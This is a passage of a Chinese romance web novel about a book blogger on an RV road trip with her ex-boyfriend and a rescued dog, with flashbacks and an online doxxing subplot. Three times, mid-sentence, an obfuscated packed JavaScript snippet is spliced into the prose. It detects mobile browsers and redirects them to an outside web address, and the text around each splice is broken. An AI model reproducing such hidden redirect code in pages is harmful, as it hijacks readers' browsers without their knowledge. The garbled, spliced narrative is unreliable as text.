在机械的AI女声中,她重新系上安全带,语气愈发冰冷,“下了高速,你,立刻下车。” 时樾郑重道:“好。” - 自巴南收费站上兰海高速,景夏开始后悔拖着个硕大的房车,想开快点都做不到。真恨不得飞到春城,把旁边这个极有存在感的人一脚踢下车。 在密闭的空间里,在车辆驾驶的轻微颠簸中,很容易勾起回忆。 就在这时,金阮打来电话。 景夏单手把这方向盘,去中控台摸蓝牙耳机。摸了个空。前方,一辆大车打左转向变道超车,她立刻点刹,收了手。 一阵袖口摩挲声后,“耳机在这。” 越过慢吞吞的大车后景夏再次伸手,“给我。” 回应她的是耳机盖开合声,紧接着,冰凉和温热的触感同时滑过耳廓。温热随一阵风离开,留下一抹淡淡的洗衣液香气。 景夏摁下接听。 “出发啦?” “对。” “时樾没再缠着你吧?” “……”一阵微妙的停顿。 金阮大惊,“他又干什么了?哎我真是服了!有女朋友天天给你点外卖,我真是服了没见过这种渣男!说,他还怎么你了?!” “……”景夏突然嘴唇发干。她舔了下唇,压低嗓音,“等我空了细说。” 两人十年老友彼此之间熟悉得不能再熟悉,金阮敏锐察觉,“怎么回事?旁边有人?” “对。” “你拉野男人啦?” “……”景夏又舔了下唇。 “你还真拉野男人——” “我开车呢。”她赶紧说,“到服务区给你打回去。” 多地点出口的绿色标牌极速靠近,最下一面一行写着“春城,830km”。 车厢内的死寂没有半点即将抵达春城的愉悦。景夏打开蓝牙音乐,切到随机播放模式,思绪也随之随机飘荡。 她说都忘了,是说谎。 照顾小九那两天,她焦虑得不得了,半夜都不敢睡觉,生怕出什么意外。 时樾但凡有空就和她视频,见她哈欠连天,懊悔得不得了,“早知道你会一整晚不睡觉,我就把小九送去寄养了。” 景夏竭力掀起沉重的眼皮,“我不累,一点都不累!等你回来我再睡。” “只要三点能结束,我就改签五点的机票。等我。” 【如果遗憾有重量我早该沉入海中, 如果心碎有声音我想我震耳欲聋。*】 沙哑的女声和记忆中亲昵的对话重合后落在耳中,连喜欢的情歌都变得无味。 景夏摁下切歌。 她说记不起来,也是在说谎。 当毫无防备踏进宠物医院、对上那双眼睛的瞬间,分手的原因便清清楚楚地重现在她脑海中。 ——那将她的骄傲狠狠碾压践踏的原因。 曾经随时间淡去的无形的恨意,也因为他在此刻存在,竟重新凝结出实体。 景夏不喜欢他的出现,不喜欢这样不洒脱的自己。 【在爱与不爱等待与放弃的煎熬里, 突然我会怀疑, 太执着的原因, 是出自爱情, 还是因为不甘心。*】 网易云似乎在和她做对。 生理周期也在和她做对。 不知道是这几天不节制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276287|198260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的吃辣喝冰,还是情绪大起大落,原本还有一周的月经提前造访。 腰酸,头疼,抵御炽热的空调冷风幻化为凛冽北风,寒意从每个毛孔中渗入,又经由四肢百骸汇聚至小腹。 景夏忍了又忍,还是关了空调。 整整两个小时一动不动当木头的时樾看了过来,“生理期。”肯定句。 景夏揉着肚子,鼻子出声,不情愿道:“……嗯。” “前面服务区停车,换我。” “你有C6本吗?”她冷哼。 “……”时樾说,“前面服务区停车。” 用他提醒? 越野车拖着几倍于自身身量的大尾巴,慢吞吞地拐进服务区的货车车位。 中午十二点,景夏熄火,宣告本日行程结束,“你急的话——” “自己想办法。” “不急。” “……” “……” 这是景夏始料未及的。 拐进服务区时她的设想是自己停车休息一天,时樾提前滚蛋。现在似乎变成,她停车休息,时樾睡在她车上一起休息。 和前男友,一起,睡服务区。 时樾解开安全带,打开车门,在热浪中眯着眼,但担忧还是显而易见,“我照顾小狗,晚上带着它睡前车里。” 景夏张了张嘴,又闭上,然后眼睛一闭随手一指,“车钥匙。”她兀自下车,抱着肚子往房车挪去。 毁灭吧。 反正始料未及的不止这一件事。 景夏晃悠悠爬上三层台阶,每一寸皮肤都被晒得蒸得滚烫,小腹还是像兜了块冰雕。冰火两重天,她哗啦啦冒冷汗,满是渴望地扑向那张小床。 “先别锁门。” 她裹着被子朝门口看,时樾单臂像抱小孩一样拖着边牧的屁股,很轻松的模样。边牧也像小孩一样两只前爪扒着他的肩膀,张着嘴哈哧哈哧。她看了两秒,一头栽倒。 随便吧。 门轻巧地闭上了。 过了一阵,门又轻巧地拉开了,脚步声由远及近。 景夏本不想睁眼,直到一阵醇厚的骨汤香气扑面而来。她半抬起头。 时樾还单手抱着小狗,短短的额发被汗水浸湿,“三鲜米线,吃一点吗?” 景夏又躺了回去,闭上眼。 痛经严重会诱发恶心,这会她恶心得发慌,恶心得一句话都不想应。 一阵细细碎碎的动静后,时樾说:“有事随时叫我。” 景夏面朝墙,将右手抬起向后挥了挥。 这次,门被用力地关上,自动落了锁。 头脑一热租下房车后,景夏后知后觉地去小红书搜索一个问题:住房车会吵得睡不着吗? 答曰:失眠患者被折磨惨了,住服务区一晚上都吵得睡不着。 此处需更正。 不仅吵,还震。货车驶过时地动山摇,每个柜子都颤抖着zengzeng响。 景夏被震醒了。 她迷迷糊糊翻了个身,发现剧痛已退化为隐痛,大脑也慢慢清明。她裹着被子坐起来,缓了一阵,被床对面的小桌吸引了目光。 一只从没见过的硕大的保温杯,一个用保温袋裹得圆鼓鼓的盒子,和一板半橙半白的胶囊。 景夏手软脚软地站了起来,晃晃杯子,满当当的水颇有重量地撞击杯壁。打开保温袋,米线的香气扑面而来,冰凉的掌心触及一片滚烫。 她静悄悄地站了一会,抠下一粒布洛芬,生吞了下去。 一滴眼泪在保温袋上砸出一个小坑。 5. 第 5 章 “嘬嘬嘬……嘬嘬——哈……”景夏坐在最下一节台阶上,抹掉眼角的泪珠。 脚边的夏蝈蝈拼命伸着触角,恨不得囫囵个挤出笼子。她赶紧将镊子凑近了点,啃了一半的面包虫回到嘴边。 宠物一号吃饱喝足,被搁置在了靠车体一纵排开的绿植一二三号旁边光合作用,景夏开始解决自己的温饱问题——一杯咖啡,一个面包,平平无奇。 八点钟,前车还没什么动静,也不知道时樾带着小狗怎么睡的。 “你还担心他和狗怎么睡?你咋不担心他半夜松了牵引开你车跑了?”昨天给金阮回电话时她灵魂质问。 景夏失笑,“那怎么办?让他睡车底?” “要我说,也不是不行。”金阮有些急躁,“夏夏你不能对谁都这么信任!五年过去,谁知道他现在什么样?时间会让人变得面目全非,他早就不是那个你了解熟悉的人了!” 景夏撕了块面包塞进嘴里。 分手之后,景夏删掉了时樾的所有联系方式,对这些年的经历和变化她自然一无所知。现在的时樾更成熟,更沉默,更忧郁。眉宇间少了少年气,多了些远超年龄的倦意。 熟悉,陌生。久别重逢就像是一杆秤,一头是现实,一头是蒙上滤镜的过往。 一辆货车轰隆隆驶来,拐进旁边车位,卷起被太阳晒干的灰尘。 景夏赶紧伸手蒙住咖啡杯杯口。 车门打开,司机跳了下来。 泛黄的牛仔裤一只裤腿抹到膝盖,一只卷在脚踝。运动鞋一只好穿,一只踩着后跟,漏出脏兮兮的袜子。他咔咔咳了口痰,染上机油的粗糙的手从裤兜里摸出一根烟、一个打火机,点燃,一边抽,一边盯着景夏。 这眼神她很熟悉,毕竟染这样一头亮眼的蓝发,走到哪里都引人注目。景夏平静地看了回去,“有事吗师傅?” 司机咬着烟,摇了摇头。相安无事了一阵,他突然朝景夏靠近—— “砰!” 车门被重重一甩,引得两人同时看过去。 时樾还穿着昨天那身黑色休闲T恤和牛仔裤,短发有些不听话的翘起,看起来格外不好惹。他径直走到房车门边,不说话,不动,只是敛眸抱着小狗,安安静静站着。 在景夏身边。 司机师傅吐了个烟圈,重新转向景夏,“这是个蝈蝈?” 一股浓浓的烟味和汗味袭来。她抬手挥了挥,“嗯,夏蝈蝈。” 师傅又抽了两口,火星子骤亮后在鞋尖挤压下彻底消失,烟头扁平地贴着大地,“开这么好的车,还养个烂蝈蝈……钱多得没处花……” 景夏没再说什么。男人嘟嘟囔囔了一阵,又在蝈蝈和绿植处徘徊好一阵,才拖着步子朝卫生间去了。 时樾目视他的背影直至消失,“今天好些了吗?” “好多了。”景夏起身,呼噜小狗脑袋,“它怎么样?” 时樾被它的大尾巴攻击,只得偏头躲避,“吃得好睡得很好。早上遛过了,一切正常。” “那就好。”景夏把咖啡杯放回车上,“我去趟服务区。” “我陪你。” “不用,车门我不锁了。”丢下这一句,景夏匆匆地走了。却在掀开门帘时,偷偷往回看。 时樾还站在那里。无需言语的沉静,不可动摇的挺拔。和方才一样。 和五年前一样。 “浪来了要用冲浪板去撞!用力!!!”冲浪教练小宇隔老远冲景夏喊道。 阴天的海被滤掉了蓝,留下灰暗。浪流卷起白花,向岸边奔涌而来。 景夏站在及腰深的海中,全身肌肉紧绷。当浪映入眼底,她双手压着冲浪板沿,按照教练说的,使出吃奶的劲撞—— 冲浪板再一次被掀翻,借浪极速奔向岸边,通过脚绳把她拽得一个趔趄。 小宇还在喊:“再使点劲!进待浪区海面就平稳了!!!” 景夏苦哈哈地第10086次拽回板子,一起上课的姐姐已经和教练一起跨过艰难险阻,悠然坐在冲浪板上。 大海不知疲倦,又送上了一捧浪花,也送上了第10087次失败。 景夏有那么一些绝望。待浪区是那么的遥远,比南极还遥远一亿光年。 她抹掉脸上咸湿的海水,一手撑着腰喘气。突然,她发现右手边几米外,一同上课的第三位学员在默默看她。 视线相撞后,时樾扶着浪板走过来,为压过海浪声不得不提高嗓音,“用力的角度再往高一些,可以理解成斜着撞上去。” 景夏有点惊讶。一是为他主动和自己搭话,昨天三人上基础课时聊天,他少言寡语,被问及问题也简短简洁。另一个是,他穿着及膝泳裤和紧身泳衣,勾勒的身形瘦而不柴,手臂肌肉线条流畅。不像她,不运动,弱鸡。对抗这点浪花,他应该是很轻松的。 为什么他没和教练一并进入待浪区,还在这里? 又一道浪来了。 时樾和她并肩而立,打断了她的思绪,“我陪你,我们一起。” 他数着:“三、二、一——” 第10088次失败。 景夏挫败地松了手,连翻倒至身后的浪板都不想捡了。 至于时樾,事实证明她没看走眼。在她被脚绳驯服的时刻,他轻轻松松越过了浪,然后又……退了回来,和她并肩。 “你先去吧,别等我了。”她闷声道。 “别怕,再试一次。”时樾眉目坚毅,“你可以……你可以。” 整整二十分钟的原地打转,景夏已经累得话都说不出来。但在温润又富有耐心的鼓励中,她竟然凝聚出强劲的信心。 她默念,“我可以。” “三、二、一——” 室内的嘈杂终是盖过了遥远的回音。 毕竟是五星服务区,一大早人就不少,早餐摊位排着队,超市收银的滴滴声不绝,甚至咖啡店对面还有一个图书角,墙壁上贴着“免费阅读、请勿带走”的手写纸。 她脚步一顿。 隔壁车位那位司机师傅提着水壶,站在一张桌子边,向一本书伸出手,却在碰到的前一刻收了回来。他站了一会,朝洗手池的方向去了。 景夏进卫生间时,他挤了一大团洗手液,正狠劲地搓。从卫生间出来,他还在搓。待她排队买完鸡蛋灌饼和豆浆,他不搓了,而是翻看一本书。 景夏没忍住,走到对面坐下。桌上简易立式书架上,有《我的阿勒泰》《解忧杂货店》,有《京华烟云》《苏东坡传》,歪着还放了一本《被讨厌的勇气》。师傅手里的似乎是一本儿童绘本。 他飞快地瞟她一眼,继续用两根依然黢黑的手指,极其小心地翻过一页。手边,老式连盖塑料杯被茶渍浸得看不出原本的颜色。 “您看什么书呢?” “我能看什么?”他语气有点冲,稍作停顿后低声说,“这书纸张硬板板的,好。我丫头肯定喜欢。” 景夏愣了下,“您女儿多大?” “昨天刚满七岁。”师傅合上书,翻到底页,“48块钱……这在书店都能买到不?” “不一定。”景夏探头看了眼书名,“《爸爸牵住我的手》?这本我之前看过,适合3-6岁的孩子。” 于是,师傅把书小心翼翼放回书架,顺便扶正歪倒的那本,“7岁丫头适合什么?” 景夏和师傅一块回到停车位时,时樾坐在景夏之前坐的台阶上,正在上课。给狗上课。 他竖起一根手指,“看这里。” 小边牧看过去。 “真棒。”然后喂一粒狗粮。 “看这里。” 小边牧看过去。 “真棒。”然后再喂一粒狗粮。 景夏抓抓头发,打断了师徒的你侬我侬,“让我过去。” 时樾抱着小边起身,看到司机师傅时眉心拧紧了一瞬,复又靠在门边。 景夏在书箱里翻了好一阵后跑下来,将两本书递给左摇右晃的师傅,“这两本比较合适,就当我送给你女儿的生日礼物。” 师傅搓搓裤腿,没接,黝黑的面庞上写满窘迫,“这……这我……” “这两本出版社送我的,都没花钱!”她用夸张的语气道。 几番推脱,师傅这才点了头。但他没接,而是爬回驾驶座翻找了一阵后折回,展开干净的塑料袋,不好意思地笑:“我这开车拉货的,怕弄脏了……” 景夏也笑了,将书放了进去。她喜欢珍惜书的人。 师傅系好袋子后伸出右手,掌心向上,露出厚厚一层发黄的茧子,和一个粉色包装的棒棒糖,“我丫头给我的,小丫头都喜欢吃……拿着!” 货车轰隆隆开走,又是尘土飞扬。 金阮说得都对。和别人相比,她确实更愿意付诸信任,对世界更乐观一些。但这种信任和乐观绝不是盲目。 景夏将棒棒糖揣进兜,乐呵呵地转身——小边呲着牙笑容很明显,时樾倚车勾唇,笑容不是特别明显。 “……咳。”她手一伸,没好气,“早饭。” “谢谢。”时樾接过,“你呢?” “吃过了。”还是没好气。 时樾囫囵吞吃完后将小边移交给景夏照顾,自己去服务区的淋浴间洗澡。走之前反复叮嘱,“尽快给狗想个名字吧?” “……哦。”她应。 景夏原本以为得费点功夫,没想到在从兜里掏出棒棒糖的千分之一秒中闪过灵光。 送给司机师傅的两本书,一本是久负盛名的《小王子》,一本是法国绘本《世界上有……》。 约莫三年前,不少粉丝求不同年龄段的儿童书单,景夏为此专门研究过绘本。之后,大多作为粉丝抽奖的礼物,只有这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“咔哒!”时樾解开安全带打破沉寂,嗓音喑哑得有些陌生,“奇迹的腿还要两周才能落地,在春城多停留些时间比较好。” “嗯。”景夏目视前方。一辆车驶过,红色尾灯被挡风玻璃过滤,还是刺眼。 “奇迹虽然还小,但一直抱着也比较累。可以考虑买一个推车。” “好。” “奇迹比较适应坐车,但没人抱的话可能会乱动。开车慢一点,注意安全。” “……” “奇迹——” “我都知道了。” 时樾冒雨把奇迹安顿到后座,拎起背包后折了回来。他撑着车门,喉结紧张地上下滚动。雨从敞开的门吹了进来,吹了景夏一脸。于是将门关了一半,用身体去阻拦,“有任何事情,随时联系我。手机号没换。” 景夏一双眼皮和睫毛在微不可查的颤抖。她没吭气。 见状,时樾叹了口气,从背包最外侧的拉链掏出一张便签,探身放在中控上。上面是一行数字。 “我走了。” “好。” 在门彻底闭合时,景夏向右偏头,看到一双深邃湿润到过于沉重的黑眸、一抹笔挺的背影,被浓稠汹涌的夜色淹没。 她没有说再见。因为再见,是希望再次相见。 她也没有为曾经痛苦崩溃而寻根究底。她希望曾经美好的故事,永远停留在最美好的那一刻。 可惜,再次相遇,持续不断的雨,依然洗不净他们丑陋不堪的结局。 ———————— 7月7日,自驾旅行书单第2期 推荐书目,杨素秋《世界上为什么要有图书馆》 “作者杨素秋作为高校教师前往文旅局挂职,参与了西安碑林区图书馆的建设。她以自身真实经历,揭露筹建中的困境,记录坚持以阅读和读者为核心的原则打造一座理想图书馆的故事。” “这本书各个平台的口碑都呈现两极分化的态势,有人喜欢,有人讨厌。其中一个讨厌的理由是——‘挂羊头卖狗肉’,即书名提出的问题正文并没有回答。我不赞成这个观点。” “书中,不允许孩子看‘闲书’的母亲,渴望触摸文字的盲人按摩师,书法爱好者借阅碑帖、热爱临摹……”景夏看向窗边的棒棒糖,“或许还有,因为7岁女儿去翻开一本儿童绘本的货车司机。世界上为什么要有图书馆?换一种问法,世界上为什么要有书?人为什么需要阅读?” “引用书中的一句话:一本书可以是窗,是镜,或是门——取决于谁来打开。” “希望我永远不忘阅读的初心,永远热爱。” 奇迹在脚边的窝里睡得正香,窗玻璃上的雨线和抵达春城时并无不同,那张写了手机号的便签躺在手边,“这里雨还未停,晚安。” 衍生书单推荐: 《世界上有……》贝努瓦·马尔雄(作者)罗宾(绘者) 《亲爱的图书馆》苏珊·奥尔琳 《图书馆疗愈手记》艾莉·摩根 6. 第 6 章 “奇迹,快看日出。” 缓慢升起的红日映在小狗清澈的眼中。 层层海浪悠悠荡荡地涌到脚边,冲刷着晶莹的鹅卵石和古朴笔挺的杉树。流光在浪尖上跳舞,在蔚蓝的绸缎上洒落金辉。 “早啊奇迹!” 一对牵着金毛的情侣走了过来,奇迹摇着尾巴,亲昵地和狗生中第一位小狗朋友问好。 景夏撑地起身,背对无尽朝阳,笑道:“早啊大大!” 他们是景夏在营地的邻居,也是带狗房车旅行。 其实大大和奇迹初次见面并不愉快。大大老成持重又比奇迹高半头,给狗腿刚能落地的它吓得夹住尾巴一瘸一拐地逃。 大大和大大的女主人:? 景夏面上无光,无助呼喊,“奇迹没事!快过来!到夏夏这来!” 女主人说:“我家狗叫大大,不叫夏夏。” 景夏缓慢指向自己,“……夏夏是我。” 女主人:“…….对不起对不起对不起!” 主要景夏是坚定的不婚不育主义者,实在无法对小狗自称妈妈。叫姐姐……会联想到她姐,也不太行。叫主人,太生硬。想来想去,只能自呼名字。比如—— “奇迹过来,夏夏给你剪指甲!” “奇迹别扒!夏夏在吃饭!” …… 也算不尴尬不相识,双方主人交换了微信。 景夏备注:大大妈妈。 大大妈妈则备注:奇迹夏夏。 景夏觉得很好。 在春城已停留半个多月,新生活中一切都好。 奇迹的腿恢复神速,闲鱼购置的二手推车又从闲鱼三手超便宜卖给了一只骨折的惠比特,也算物尽其用。 目前的节奏是:每天起床散步到海边看日出,回去慢悠悠吃早饭,晒着太阳看书,再慢悠悠吃午饭。之后小睡起来,开车进城吃夜市吃美食。小锅米线豆花米线怎么吃都不腻,菌子火锅傣味小馆薄荷炸排骨都是人生挚爱。晚上散步的时候买点水果,回来和小狗躺在车里边吃边看星星。 唯二的烦恼则是:奇迹有严重的分离焦虑,独自待在房车上会持续嚎叫拆家。以及,景夏被人肉了。 或许是网暴后连发两期自驾书单的行为触怒了那些以为她会“停更思过”的网友,或许是我行我素的态度让某些人觉得一拳打在棉花上,又或许根本没有原因。 面对电话短信轰炸,景夏只得拔掉电话卡,买了个移动wifi。紧接着,一年联系两次——一次过年一次生日——的亲姐景浛打来了今年的第三次电话。微信电话。 “电话已经打到公司了,爸妈那边我先瞒住。”女强人景浛景总冷静地问,“这事你想怎么处理?” 景夏抠着桌沿,“起诉吧。” “既然打算起诉那就先报警,同时搜集证据,所有暴露个人信息的帖子评论都截图录屏,我这边联系律师。” 景夏继续抠桌沿,“我出来自驾了,没在长市。” “线上报警,留下记录就好。保持电话……微信电话畅通。”说完就挂了电话。 景夏从胸腔叹出一口绵长的浊气。 单单人肉她虽然痛苦煎熬,但也只是她而已。涉及家人和家里的公司,却是她最最最最不想看到的事情。不光是不想拖累,还因为她的家庭本身。 景夏解锁手机,想去看账号下的评论。手指悬于那熟悉的图标上空良久,久到奇迹都察觉异样,嘤嘤地拱了过来。 网络是一个像宇宙一样无边无际的黑箱,能看到的只有一个网名、一个头像。现在,她的身份证照片在黑箱中传播着,伴随无尽的羞辱攻击。 而起因,仅仅是因为景夏发了一本书不同译者译本的对比。几方持不同看法的网友们在评论区起了争执后,她下场呼吁理性交流,却因为“理性”这个词引爆了导火索。从自视清高目中无人,到崇洋媚外,到对一年阅读量300本的质疑否定,到作秀恰烂钱的“揭露”。 当所有行为被放大解读,被扣上莫须有的罪名是必然的。 景夏抱住奇迹,眼泪一不留神就滴在了它蓬松的毛毛上。奇迹抬头看了她好一会,舔了舔她的手。 手机黑屏的前一秒,她看到了日期。 7月23日。 “今天23号?”景夏捏住右闸,自行车靠边停下。 “嗯,23号。”隔着耳机,时樾的嗓音更显温柔,“怎么了?” 夏天的长市像是一口倒扣的火炉。景夏一脚踩着脚蹬,取下遮阳帽扇风,汗依旧顺着脸颊往下滑,“没什么……就是我姐的生日。” “亲姐姐嘛?”时樾问。 那是琼岛之旅后的半个月,两人都回到了自己的城市自己的生活,又在对方生活中增加了一个自己。 她知道时樾的健身打篮球的频率,知道狗子小九喜欢的玩具,知道医学生本博连读的压力。时樾了解她的无敌健康老年作息,了解她硕士毕业后的规划,了解她小提琴业余十级但唱歌五音不全的小反差。 唯独,没聊过景夏的家庭。 “嗯。”景夏把车子停到人行道角落,“但我上大学之后,除了过年不怎么回家,也……不怎么联系。” “如果你想倾诉的话,可以和我讲讲。”时樾温声。 那个蒸笼一样的下午,景夏向一个刚认识不久、远在山城、比她小2岁的男生,讲了一个从未和任何人讲过的故事。 景夏不是爱情的结晶,不是水到渠成的诞生。 她得以睁开眼睛看到世界只有一个原因——亲姐姐景浛在9岁那年不幸确诊白血病,更不幸的是直系亲属均配型失败,父母不得已才又要了个孩子。为了救女儿。 时樾听完,沉默良久,“你是什么时候知道这件事的?” “7岁。”景夏坐在马路牙子上,眯眼看天,看绿油油的树梢间斑驳的蓝天,“爸妈说话,我不小心听到的。” 意外打开的潘多拉魔盒伴随景夏的全部成长。她在身边任何人身上都寻不到共鸣,更找不到归处,于是开始将全部希望投向无穷无尽的书海,试图在地球的另一端或者千年前寻找答案。而对书籍对文学哲学的热爱,又引发了一系列连锁反应。 “爸妈反对你选文学专业吗?” “反对啊,特别反对。我爸想让我学经济金融,毕业回家里公司给我姐帮忙。我不想和钱打交道,他说我不知柴米油盐活在真空,没这些钱我一周都活不下去。”景夏不想太伤感,对家里的事一语带过,笑道:“我就特别有骨气的离开家,自己打工赚钱,一直到现在。” “很厉害。”时樾说,“你真的很棒。” “是吧,我也觉得。”景夏毫不谦虚。 平时景夏自夸,时樾都会笑,笑得很痴汉。今天他没有。 “之前你说想好好运营一下手头的账号,之后专职做读书博主,但有点担心。是因为家人吗?” “算吧。”景夏叹气,“我过生日我姐打电话的时候提了一嘴,她说‘随便,反正活不下去就回公司’。” 时樾迟疑,“这难道不是鼓励你、给你兜底的意思吗?” “是吗?”景夏想了想,“我怎么感觉在讽刺我?活不下去回公司……那得多丢人啊?我才不要。” “你可以。”时樾说,“在我第一次看到你的时候,我就知道你一定可以。” 景夏莫名其妙,“第一次看到我?冲浪俱乐部?” “在那前一天。” “石梅湾临海的书店,你坐在室外靠栏杆的位置看书喝咖啡,隔壁桌是一位妈妈和两个闹腾的孩子,周围的人都对噪音不满,不停地看他们。妈妈管得了一个,管不了第二个,喊叫声此起彼伏。” “就在这位妈妈尴尬地不停道歉,周围尽是白眼的时候,你转过去,问那两个孩子有没有读过一本关于猫的书,叫《猫武士》。一个说没有,一个说家里有养猫。你说这是一个特别勇敢的宠物猫放弃养尊处优的生活,加入野猫族群的故事,要不要听——” 景夏脑瓜嗡的一声,抓耳挠腮地打断:“当时你在哪藏着呢?我怎么不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276289|198260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 时樾轻笑,“你手里拿着一本《尤利西斯》,讲的却是一只宠物猫从学徒做起一步步成长,带领雷族克服内忧外患,最后成为族长。两个熊孩子听得很认真,也顾不上闹腾了……你提起书的时候,讲故事的时候,有一种魔力。” 厚脸皮如景夏都不好意思了,“什么魔力?” “让人安静下来的魔力,让人想要去了解的魔力,让人喜欢你的魔力。读书博主,你一定可以。” 奇迹的爪子从景夏的腿上滑了下去。 她回神,发现它已经睡着了。桌子上,《尤利西斯》恰好被压在正在看的书下面。 当时她说什么来着? 时樾的直球她接不住,于是顾左右而言他地问:“你看过《尤利西斯》呀?喜欢吗?” “没有,偷瞄到书名之后才去搜的。”然后是漫长的沉默,和一些诡异的杂音,之后他说:“我刚下单,看完回答喜不喜欢的问题。” 景夏小心翼翼地抱起奇迹,又小心翼翼地放在窝窝里,然后自己也躺了下来。 深邃的夜空,星星隔着天窗在眨眼。她给景浛发:生日快乐。 - 景夏把这几天收集的证据记录打包发给了景浛,又挑选了一些截图上传平台举报。 大忙人景浛立刻回:涉及公司的部分已发律师,先起诉平台。 景夏两个拇指贴在一起转了好几个圈:好的。 景浛:有事随时联系。 景夏:好的。 扔掉手机,景夏匀速从沙发上滑倒沙发脚边的狗窝上。奇迹被挤到一边,茫然地爬起来,绕她一周依然找不到一点缝隙,于是耍赖皮地躺倒在地亮出肚皮。 谁能抵御小狗软软的肚皮呢? 景夏狠狠摸了半天,又在洗过澡香香的脑壳猛吸了一阵,“可能,你真的是个奇迹呢小狗!” 奇迹一听叫它名字就高兴,抬头舔她下巴,搞得她痒痒,“好啦好啦!” 搜集证据等于直面网暴。 语言是认知的边界,也是一种暴力。那一字一句映在视网膜,又通过神经传递给大脑,那种无法反驳的无力感又随每一次呼吸加剧,为世界蒙上挥之不去的阴影。 就好像……吃饭的时候还是在吃饭,美食还是美食。去海边散步还是散步,风景还是风景,但就是激不起一点多巴胺,干什么都提不起力气。除了和小狗在一起。 如果没有奇迹,她不知道自己会怎样。 可能冥冥之中自有天意,那场暴雨,那只突然窜出的小狗,那场意外,还有…… “砰砰!” 门口有动静。 景夏一骨碌站了起来,从沙发底下抽出刚买的棒球棍。之前的一天半夜,有个男人在车边来回逛悠,还拉了好几次车门,她抱着奇迹拎着把菜刀,在黑暗中坐了一晚上,天一亮就开车去买棍。 没想到这么快就能派上用场。 她蹑手蹑脚地走到门边,冲傻乎乎摇尾巴的奇迹比了个嘘的手势,屏息。 “砰砰!” 是有人在敲门。 景夏瞥了眼手表,已经晚上十点。警惕地问:“谁啊?” “我。” 奇迹爆冲到门口,更加疯狂地摇尾巴。景夏愣怔良久,在奇迹嘤嘤催促中打开锁,推开门。 “你……” 时樾风尘仆仆地挎着包,硬挺的额发向上翘着,乌黑的瞳孔却被室内灯光照得亮晶晶,显得又冷硬又柔软。看到景夏手里的棒球棍后,他沉下脸色,“遇到什么事了吗?” 景夏攥着棍的手收紧,咬字有些不清,“你怎么在这?” 时樾单臂轻松抱起激动到绕圈扒腿的奇迹,另一只手从口袋里掏出一个黑皮本,展开,“增驾C6。” 景夏站在高高的台阶上,居高临下。时樾便安静地仰视着她。他变了很多,很多很多,但这双眼睛没有变过。 奇迹或许不止那场暴雨,那只突然窜出的小狗,那场意外。或许——还有那场重逢。 这场重逢。 7. 第 7 章 景夏从柜子里取出一瓶矿泉水,随手抛了过去。旅行挎包在最下一层台阶上,旁边立着冷冰冰的棒球棍。 她在时樾对面坐下,奇迹软绵绵蹭过来,脑袋搭在她膝盖上,“你怎么知道我在哪?” 时樾稳稳接住,拧开瓶盖,“春城房车营地挨个找过来,这是第三个。 景夏深呼吸,“你再说一遍,要干什么?” “去德钦。” “你不上班吗——不是,你怎么知道我要去德钦?” “不上。”时樾似乎渴了,仰颈灌了几大口,“暂时不上。” 景夏欲言又止,“你是不是有病?” “开车,做饭,遛狗,所有体力活我都能干。” “……” “我睡越野,绝对不打扰你。” “……” 夜风从半开的窗吹了进来,景夏将碎发别至耳后,“你和我什么关系睡我车上?要去自己开车去!” 时樾视线扫过她扣在桌上的手机,顿了顿,道:“你的车被扒出来了,包括车牌号。” “什么?”景夏一惊,立刻去够手机,却被时樾摁住了手腕。他从口袋掏出自己的,戳弄了一会,由桌面推向她,“看我的。” 窗外和房车平行停着的越野、一张模糊的包含机动车所有人信息一并呈现在屏幕上。 这是一个评论的截图,文字部分被马赛克掉了。 景夏指甲陷进掌心,盯着屏幕,“涂掉什么意思?” 时樾说:“不想你看到不开心。” 她嗤笑,“那为什么要告诉我?” “因为你从来不是逃避现实的人。因为你最近需要保持警惕。”时樾滑了下屏幕,“有人在春城拍到你了。” 一阵刺骨的凉意从头顶直灌脚底。 照片上,阳光和树荫投下明暗的斑痕。一头蓝色长发的女人牵着狗走在斑马线上,紧身运动背心和松垮休闲的牛仔裤勾勒出瘦削的身材。 照片像是美式街拍,很美。美得有些恐怖。 景夏发现自己有点抖,将两只手收至桌下,交叠,紧握。依然低垂着头。 时樾收起手机,“如果方便的话我睡越野,不方便的话借我把椅子,我坐车门口……你安心休息。” 越野车车灯亮起,隔着纱帘,像是颠倒了昼夜,在子夜时分升起的朝阳。 桌上,放着一本散发油墨香气的新书。《格外的活法》,吉井忍。 时樾拿起车钥匙,临走前把一个提袋放在门口的吧台上,“《东京八平米》的作者最近出了一本新书。如果睡不着的话……可以翻翻看。” 景夏拍拍奇迹让它挪去窝里,然后合上窗,关掉大灯,在床上缩成一团,翻开第一页。 她是睡不着的。 在另一个夏天,景夏悠然转醒,回复一条两小时前的早安。 时樾立刻回:今天起得比平时晚许多哎? 景夏:……昨天没忍住,喝了一杯咖啡一杯抹茶,失眠到三点!!!被迫挑灯夜读到三点!!! 六个感叹号不足以表达前一晚的崩溃。 时樾:以后如果睡不着的话,就给我打电话嘛! 景夏勾唇,但文字很正经:聊天的话会更睡不着吧? 正在输入中闪烁了好几次后:那电话通着,我不说话。 景夏发了个问号:那还打什么电话? 